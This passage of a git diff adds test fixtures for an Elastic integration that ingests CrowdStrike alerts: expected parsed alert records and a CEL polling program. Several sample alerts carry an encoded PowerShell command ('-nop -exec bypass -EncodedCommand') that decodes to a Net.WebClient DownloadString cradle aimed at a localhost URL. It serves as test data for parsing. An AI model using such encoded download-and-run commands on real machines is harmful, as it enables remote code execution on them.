QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\"}" + }, + "file": { + "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" + }, + "host": { + "id": "abcd1234abcd1234abcd12", + "name": "OTHERHOST", + "os": { + "name": "Windows", + "type": "windows" + }, + "type": "Server" + }, + "process": { + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "entity_id": "123456789123", + "pid": 123456789123 + }, + "related": { + "hosts": [ + "OTHERHOST" + ], + "user": [ + "SOMEUSER", + "OTHERUSER" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ow/investigated", + "ow/resolution/benign" + ], + "user": { + "name": "SOMEUSER" + } + }, + { + "@timestamp": "2024-11-07T20:47:22.000Z", + "crowdstrike": { + "alert": { + "agent_id": "abcd1234abcd1234abcd12", + "cid": "asdfasdfsadfasdfasdf", + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "composite_id": "b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "crawled_timestamp": "2024-11-07T20:49:59.123Z", + "created_timestamp": "2024-11-07T20:49:59.123Z", + "detect_type": "endpoint", + "host_type": "Server", + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "image_file_name": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe", + "name": "OTHERUSER on OTHERHOST", + "operating_system": "Windows", + "pattern_id": "97000", + "poly_id": "CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==", + "prevented": true, + "process_id": "123456789123", + "product": "overwatch", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "show_in_ui": true, + "status": "new", + "tags": [ + "ow/investigated", + "ow/resolution/benign" + ], + "timestamp": "2024-11-07T20:47:22.000Z", + "tree_id": "12345678901", + "type": "lead", + "updated_timestamp": "2024-11-07T20:49:59.123Z", + "user_name": "SOMEUSER", + "worker_node_name": "example" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3", + "kind": "alert", + "original": "{\"name\":\"OTHERUSER on OTHERHOST\",\"agent_id\":\"abcd1234abcd1234abcd12\",\"aggregate_id\":\"\",\"cid\":\"asdfasdfsadfasdfasdf\",\"command_line\":\"powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA\",\"composite_id\":\"b1571642dd47ef39ab7930ff655b5fee:lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"crawled_timestamp\":\"2024-11-07T20:49:59.12345678Z\",\"created_timestamp\":\"2024-11-07T20:49:59.123432101Z\",\"detect_type\":\"endpoint\",\"user_name\":\"SOMEUSER\",\"host_type\":\"Server\",\"id\":\"lead:42dd47ef39ab7930ff655b5feeb15716:2dd47ef39ab7930ff655b5fee5f87ab3\",\"image_file_name\":\"\\\\Device\\\\HarddiskVolume1\\\\Windows\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\",\"operating_system\":\"Windows\",\"pattern_id\":97000,\"poly_id\":\"CCsPIUqaBDazAOtSAoM7lq6mNa0VpOykjauHXxb2GDCIAAt9RxW1JGn1EjTE6TITrO9y8QA5VghO2K9xAIDbSfdGo30pFQ==\",\"process_id\":\"123456789123\",\"product\":\"overwatch\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"show_in_ui\":true,\"status\":\"new\",\"tags\":[\"ow/investigated\",\"ow/resolution/benign\"],\"timestamp\":\"2024-11-07T20:47:22Z\",\"tree_id\":\"12345678901\",\"type\":\"lead\",\"updated_timestamp\":\"2024-11-07T20:49:59.123432101Z\", \"prevented\":true,\"worker_node_name\":\"example\"}" + }, + "file": { + "path": "\\Device\\HarddiskVolume1\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe" + }, + "host": { + "id": "abcd1234abcd1234abcd12", + "name": "OTHERHOST", + "os": { + "name": "Windows", + "type": "windows" + }, + "type": "Server" + }, + "process": { + "command_line": "powershell -nop -exec bypass -EncodedCommand QQBCAEMAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAyADcALgAwAC4AMAAuADEAOgAxADIAMwA0ADUALwAnACkA", + "entity_id": "123456789123", + "pid": 123456789123 + }, + "related": { + "hosts": [ + "OTHERHOST" + ], + "user": [ + "SOMEUSER", + "OTHERUSER" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields", + "ow/investigated", + "ow/resolution/benign" + ], + "user": { + "name": "SOMEUSER" + } + }, + { + "@timestamp": "2025-06-06T10:20:41.789Z", + "crowdstrike": { + "alert": { + "agent_id": "7940b10993e844e398f83bd92aa92b8f", + "aggregate_id": "aggind:7940b10993e844e398f83bd92aa92b8f:17181460644", + "alleged_filetype": "exe", + "cid": "bdc3e3474d8848f1b8dcf41d41669a14", + "cloud_indicator": false, + "cmdline": "cmd crowdstrike_test_informational", + "composite_id": "bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", + "confidence": 100, + "context_timestamp": "2025-06-06T10:20:41.124Z", + "control_graph_id": "ctg:7940b10993e844e398f83bd92aa92b8f:17181460644", + "crawled_timestamp": "2025-06-06T10:21:45.624Z", + "created_timestamp": "2025-06-06T10:21:45.624Z", + "data_domains": [ + "Endpoint" + ], + "description": "An informational level detection was triggered on this process for testing purposes.", + "device": { + "agent_load_flags": 1, + "agent_local_time": "2025-06-06T06:28:45.178Z", + "agent_version": "7.24.19607.0", + "bios_manufacturer": "Microsoft Corporation", + "bios_version": "Hyper-V UEFI Release v4.1", + "cid": "bdc3e3474d8848f1b8dcf41d41669a14", + "config_id_base": "65994767", + "config_id_build": "19607", + "config_id_platform": 3, + "external_ip": "81.2.69.144", + "first_seen": "2025-05-29T11:54:43.000Z", + "groups": [ + "f3ba4e75244b4d06837c910a00bf80be" + ], + "hostname": "raquel-win10-3", + "id": "7940b10993e844e398f83bd92aa92b8f", + "last_seen": "2025-06-06T09:44:59.000Z", + "local_ip": "10.0.0.13", + "mac_address": "60-45-BD-D2-D4-37", + "major_version": "10", + "minor_version": "0", + "modified_timestamp": "2025-06-06T10:18:32.000Z", + "os_version": "Windows 10", + "platform_id": "0", + "platform_name": "Windows", + "product_type": "1", + "product_type_desc": "Workstation", + "status": "normal", + "system_manufacturer": "Microsoft Corporation", + "system_product_name": "Virtual Machine" + }, + "display_name": "TestTriggerInformational", + "email_sent": true, + "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge", + "filename": "cmd.exe", + "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "global_prevalence": "common", + "grandparent_details": { + "cmdline": "cmd crowdstrike_test_medium", + "filename": "cmd.exe", + "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "local_process_id": "2796", + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17938741315", + "process_id": "17938741315", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", + "timestamp": "2025-06-06T10:20:21.000Z", + "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", + "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "user_name": "win10_user3" + }, + "has_script_or_module_ioc": false, + "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", + "indicator_id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", + "is_synthetic_quarantine_disposition": false, + "local_prevalence": "unique", + "local_process_id": "6028", + "logon_domain": "raquel-win10-3", + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "name": "DemoInformationalPattern", + "objective": "Falcon Detection Method", + "parent_details": { + "cmdline": "cmd crowdstrike_test_low", + "filename": "cmd.exe", + "filepath": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "local_process_id": "4840", + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17940808135", + "process_id": "17940808135", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", + "timestamp": "2025-06-06T10:20:32.000Z", + "user_graph_id": "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", + "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "user_name": "win10_user3" + }, + "parent_process_id": "17940808135", + "pattern_disposition": 0, + "pattern_disposition_description": "Detection, standard detection.", + "pattern_disposition_details": { + "blocking_unsupported_or_disabled": false, + "bootup_safeguard_enabled": false, + "containment_file_system": false, + "critical_process_disabled": false, + "detect": false, + "fs_operation_blocked": false, + "handle_operation_downgraded": false, + "inddet_mask": false, + "indicator": false, + "kill_action_failed": false, + "kill_parent": false, + "kill_process": false, + "kill_subprocess": false, + "mfa_required": false, + "operation_blocked": false, + "policy_disabled": false, + "prevention_provisioning_enabled": false, + "process_blocked": false, + "quarantine_file": false, + "quarantine_machine": false, + "registry_operation_blocked": false, + "response_action_already_applied": false, + "response_action_failed": false, + "response_action_triggered": false, + "rooting": false, + "sensor_only": false, + "suspend_parent": false, + "suspend_process": false + }, + "pattern_id": "10307", + "platform": "Windows", + "poly_id": "AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==", + "process_id": "17942810918", + "process_start_time": "2025-06-06T10:20:41.000Z", + "product": "epp", + "scenario": "suspicious_activity", + "seconds_to_resolved": 0, + "seconds_to_triaged": 0, + "severity": 10, + "severity_name": "Informational", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", + "show_in_ui": true, + "source_products": [ + "Falcon Insight" + ], + "source_vendors": [ + "CrowdStrike" + ], + "status": "new", + "tactic": "Falcon Overwatch", + "tactic_id": "CSTA0006", + "technique": "Malicious Activity", + "technique_id": "CST0002", + "template_instance_id": "1339", + "timestamp": "2025-06-06T10:20:41.789Z", + "tree_id": "17181460644", + "tree_root": "17934037600", + "triggering_process_graph_id": "pid:7940b10993e844e398f83bd92aa92b8f:17942810918", + "type": "ldt", + "updated_timestamp": "2025-06-06T10:21:50.710Z", + "user_id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "user_name": "win10_user3" + } + }, + "device": { + "id": "7940b10993e844e398f83bd92aa92b8f", + "manufacturer": "Microsoft Corporation", + "model": { + "name": "Virtual Machine" + } + }, + "ecs": { + "version": "8.17.0" + }, + "event": { + "category": [ + "process" + ], + "id": "ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000", + "kind": "alert", + "original": "{\"agent_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"aggregate_id\":\"aggind:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"alleged_filetype\":\"exe\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"cloud_indicator\":\"false\",\"cmdline\":\"cmd crowdstrike_test_informational\",\"composite_id\":\"bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"confidence\":100,\"context_timestamp\":\"2025-06-06T10:20:41.124Z\",\"control_graph_id\":\"ctg:7940b10993e844e398f83bd92aa92b8f:17181460644\",\"crawled_timestamp\":\"2025-06-06T10:21:45.624194206Z\",\"created_timestamp\":\"2025-06-06T10:21:45.624178312Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"An informational level detection was triggered on this process for testing purposes.\",\"device\":{\"agent_load_flags\":\"1\",\"agent_local_time\":\"2025-06-06T06:28:45.178Z\",\"agent_version\":\"7.24.19607.0\",\"bios_manufacturer\":\"Microsoft Corporation\",\"bios_version\":\"Hyper-V UEFI Release v4.1\",\"cid\":\"bdc3e3474d8848f1b8dcf41d41669a14\",\"config_id_base\":\"65994767\",\"config_id_build\":\"19607\",\"config_id_platform\":\"3\",\"device_id\":\"7940b10993e844e398f83bd92aa92b8f\",\"external_ip\":\"81.2.69.144\",\"first_seen\":\"2025-05-29T11:54:43Z\",\"groups\":[\"f3ba4e75244b4d06837c910a00bf80be\"],\"hostinfo\":{\"domain\":\"\"},\"hostname\":\"raquel-win10-3\",\"instance_id\":\"f60ebe5d-4967-48d8-9ce0-d1135b04e8d6\",\"last_seen\":\"2025-06-06T09:44:59Z\",\"local_ip\":\"10.0.0.13\",\"mac_address\":\"60-45-bd-d2-d4-37\",\"machine_domain\":\"\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2025-06-06T10:18:32Z\",\"os_version\":\"Windows 10\",\"ou\":null,\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"service_provider\":\"AZURE\",\"service_provider_account_id\":\"7599433a-346d-4c25-b9d0-2948136c41f5\",\"status\":\"normal\",\"system_manufacturer\":\"Microsoft Corporation\",\"system_product_name\":\"Virtual Machine\"},\"display_name\":\"TestTriggerInformational\",\"email_sent\":true,\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/bdc3e3474d8848f1b8dcf41d41669a14:ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000?_cid=g040006rwb4alvhren7gw2yl7qja76ge\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"global_prevalence\":\"common\",\"grandparent_details\":{\"cmdline\":\"cmd crowdstrike_test_medium\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"2796\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17938741315\",\"process_id\":\"17938741315\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:21Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"indicator_id\":\"ind:7940b10993e844e398f83bd92aa92b8f:17942810918-10307-2282000\",\"ioc_context\":[],\"local_prevalence\":\"unique\",\"local_process_id\":\"6028\",\"logon_domain\":\"raquel-win10-3\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"name\":\"DemoInformationalPattern\",\"objective\":\"Falcon Detection Method\",\"parent_details\":{\"cmdline\":\"cmd crowdstrike_test_low\",\"filename\":\"cmd.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"local_process_id\":\"4840\",\"md5\":\"2b40c98ed0f7a1d3b091a3e8353132dc\",\"process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17940808135\",\"process_id\":\"17940808135\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"timestamp\":\"2025-06-06T10:20:32Z\",\"user_graph_id\":\"uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"},\"parent_process_id\":\"17940808135\",\"pattern_disposition\":0,\"pattern_disposition_description\":\"Detection, standard detection.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"containment_file_system\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"mfa_required\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"prevention_provisioning_enabled\":false,\"process_blocked\":false,\"quarantine_file\":false,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"response_action_already_applied\":false,\"response_action_failed\":false,\"response_action_triggered\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":10307,\"platform\":\"Windows\",\"poly_id\":\"AAC9w-NHTYhI8bjc9B1BZpoUC8NRDif9GuRVWSpmJEpq1wAATiEP-U3SmU9-dQC7n0vA5khCWzV6y19TAH4ibeyfgOILFw==\",\"priority_explanation\":[\"[MOD] The severity of the detection: Informational\"],\"priority_value\":10,\"process_id\":\"17942810918\",\"process_start_time\":\"1749205241\",\"product\":\"epp\",\"scenario\":\"suspicious_activity\",\"seconds_to_resolved\":0,\"seconds_to_triaged\":0,\"severity\":10,\"severity_name\":\"Informational\",\"sha1\":\"0000000000000000000000000000000000000000\",\"sha256\":\"badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0\",\"show_in_ui\":true,\"source_products\":[\"Falcon Insight\"],\"source_vendors\":[\"CrowdStrike\"],\"status\":\"new\",\"tactic\":\"Falcon Overwatch\",\"tactic_id\":\"CSTA0006\",\"technique\":\"Malicious Activity\",\"technique_id\":\"CST0002\",\"template_instance_id\":\"1339\",\"timestamp\":\"2025-06-06T10:20:41.789Z\",\"tree_id\":\"17181460644\",\"tree_root\":\"17934037600\",\"triggering_process_graph_id\":\"pid:7940b10993e844e398f83bd92aa92b8f:17942810918\",\"type\":\"ldt\",\"updated_timestamp\":\"2025-06-06T10:21:50.710758858Z\",\"user_id\":\"S-1-5-21-2765107603-2663188678-2286454264-500\",\"user_name\":\"win10_user3\"}", + "severity": 21, + "type": [ + "start" + ] + }, + "file": { + "name": "cmd.exe", + "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe" + }, + "host": { + "hostname": "raquel-win10-3", + "id": "7940b10993e844e398f83bd92aa92b8f", + "ip": [ + "81.2.69.144", + "10.0.0.13" + ], + "mac": [ + "60-45-BD-D2-D4-37" + ], + "os": { + "full": "Windows 10", + "platform": "Windows", + "type": "windows" + } + }, + "message": "An informational level detection was triggered on this process for testing purposes.", + "process": { + "entity_id": "17942810918", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "hash": { + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "sha1": "0000000000000000000000000000000000000000", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0" + }, + "name": "cmd.exe", + "parent": { + "command_line": "cmd crowdstrike_test_low", + "entity_id": "17940808135", + "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe", + "hash": { + "md5": "2b40c98ed0f7a1d3b091a3e8353132dc", + "sha256": "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0" + }, + "name": "cmd.exe", + "pid": 17940808135 + }, + "pid": 17942810918, + "start": "2025-06-06T10:20:41.000Z", + "user": { + "id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "name": "win10_user3" + } + }, + "related": { + "hash": [ + "2b40c98ed0f7a1d3b091a3e8353132dc", + "badf4752413cb0cbdc03fb95820ca167f0cdc63b597ccdb5ef43111180e088b0", + "0000000000000000000000000000000000000000" + ], + "hosts": [ + "raquel-win10-3" + ], + "ip": [ + "81.2.69.144", + "10.0.0.13" + ], + "user": [ + "uid:7940b10993e844e398f83bd92aa92b8f:S-1-5-21-2765107603-2663188678-2286454264-500", + "S-1-5-21-2765107603-2663188678-2286454264-500", + "win10_user3" + ] + }, + "tags": [ + "preserve_original_event", + "preserve_duplicate_custom_fields" + ], + "threat": { + "framework": "CrowdStrike Falcon Detections Framework", + "tactic": { + "id": [ + "CSTA0006" + ], + "name": [ + "Falcon Overwatch" + ] + }, + "technique": { + "id": [ + "CST0002" + ], + "name": [ + "Malicious Activity" + ] + } + }, + "user": { + "id": "S-1-5-21-2765107603-2663188678-2286454264-500", + "name": "win10_user3" + } + } + ] +} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml new file mode 100644 index 0000000000..be41bb0d47 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/pipeline/test-common-config.yml @@ -0,0 +1,4 @@ +fields: + tags: + - preserve_original_event + - preserve_duplicate_custom_fields diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected new file mode 100644 index 0000000000..af6a6e323c --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.expected @@ -0,0 +1,134 @@ +inputs: + - data_stream: + namespace: ep + meta: + package: + name: crowdstrike + name: test-default-crowdstrike + streams: + - auth.oauth2: + client.id: test_client_id + client.secret: ${SECRET_0} + token_url: http://host.tld/oauth2/token + config_version: 2 + data_stream: + dataset: crowdstrike.alert + interval: 24h + program: |- + state.with( + ( + state.?want_more.orValue(false) ? + state.start_time + : + state.?cursor.last_timestamp.orValue( + (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) + ) + ).as(start_time, + post_request( + state.url.trim_right("/") + "/alerts/combined/alerts/v1?", + "application/json", + { + ?"after": state.?next.page_token, + "limit": int(state.batch_size), + "sort": "updated_timestamp|asc", + "filter": [ + "updated_timestamp:>'" + start_time + "'", + ?state.?query.optMap(q, "(" + q + ")"), + ].join("+"), + }.encode_json() + ).do_request().as(resp, (resp.StatusCode == 200) ? + resp.Body.decode_json().as(body, + (size(body.?errors.orValue([])) > 0) ? + { + "events": body.errors.map(error, + { + "error": { + "code": string(error.code), + "message": string(error.message), + }, + } + ), + "next": {}, + "want_more": false, + } + : + { + "events": has(body.resources) ? + body.resources.map(e, + { + "message": e.encode_json(), + } + ) + : + [], + "start_time": start_time, + "next": { + ?"page_token": body.?meta.pagination.after, + }, + "cursor": { + // The records are sorted in ascending order based on the value of updated_timestamp, + // in the next interval we start from the last event (newest) time. + ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? + optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) + : + state.?cursor.last_timestamp, + }, + "want_more": has(body.?meta.pagination.after), + } + ) + : + { + "events": { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "POST " + state.url.trim_right("/") + "/alerts/combined/alerts/v1:" + ( + (size(resp.Body) != 0) ? + string(resp.Body) + : + string(resp.Status) + " (" + string(resp.StatusCode) + ")" + ), + }, + }, + "next": {}, + "want_more": false, + } + ) + ) + ) + publisher_pipeline.disable_host: true + redact: + fields: null + resource.ssl: null + resource.timeout: 30s + resource.tracer: + enabled: false + filename: ../../logs/cel/http-request-trace-*.ndjson + maxbackups: 5 + resource.url: http://host.tld + state: + batch_size: 1000 + initial_interval: 24h + tags: + - preserve_original_event + - preserve_duplicate_custom_fields + - forwarded + - crowdstrike-alert + type: cel + use_output: default +output_permissions: + default: + _elastic_agent_checks: + cluster: + - monitor + _elastic_agent_monitoring: + indices: [] + uuid-for-permissions-on-related-indices: + indices: + - names: + - logs-crowdstrike.alert-ep + privileges: + - auto_configure + - create_doc +secret_references: + - {} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml new file mode 100644 index 0000000000..58bbc1f403 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-default.yml @@ -0,0 +1,9 @@ +vars: + url: http://host.tld + client_id: test_client_id + client_secret: test_client_secret + token_url: http://host.tld/oauth2/token +data_stream: + vars: + preserve_original_event: true + preserve_duplicate_custom_fields: true diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected new file mode 100644 index 0000000000..dbe88b82e4 --- /dev/null +++ b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/alert/_dev/test/policy/test-traced.expected @@ -0,0 +1,134 @@ +inputs: + - data_stream: + namespace: ep + meta: + package: + name: crowdstrike + name: test-traced-crowdstrike + streams: + - auth.oauth2: + client.id: test_client_id + client.secret: ${SECRET_0} + token_url: http://host.tld/oauth2/token + config_version: 2 + data_stream: + dataset: crowdstrike.alert + interval: 24h + program: |- + state.with( + ( + state.?want_more.orValue(false) ? + state.start_time + : + state.?cursor.last_timestamp.orValue( + (now - duration(state.initial_interval)).format(time_layout.RFC3339Nano) + ) + ).as(start_time, + post_request( + state.url.trim_right("/") + "/alerts/combined/alerts/v1?", + "application/json", + { + ?"after": state.?next.page_token, + "limit": int(state.batch_size), + "sort": "updated_timestamp|asc", + "filter": [ + "updated_timestamp:>'" + start_time + "'", + ?state.?query.optMap(q, "(" + q + ")"), + ].join("+"), + }.encode_json() + ).do_request().as(resp, (resp.StatusCode == 200) ? + resp.Body.decode_json().as(body, + (size(body.?errors.orValue([])) > 0) ? + { + "events": body.errors.map(error, + { + "error": { + "code": string(error.code), + "message": string(error.message), + }, + } + ), + "next": {}, + "want_more": false, + } + : + { + "events": has(body.resources) ? + body.resources.map(e, + { + "message": e.encode_json(), + } + ) + : + [], + "start_time": start_time, + "next": { + ?"page_token": body.?meta.pagination.after, + }, + "cursor": { + // The records are sorted in ascending order based on the value of updated_timestamp, + // in the next interval we start from the last event (newest) time. + ?"last_timestamp": (has(body.resources) && body.resources.size() > 0) ? + optional.of(timestamp(body.resources[size(body.resources) - 1].updated_timestamp).format(time_layout.RFC3339Nano)) + : + 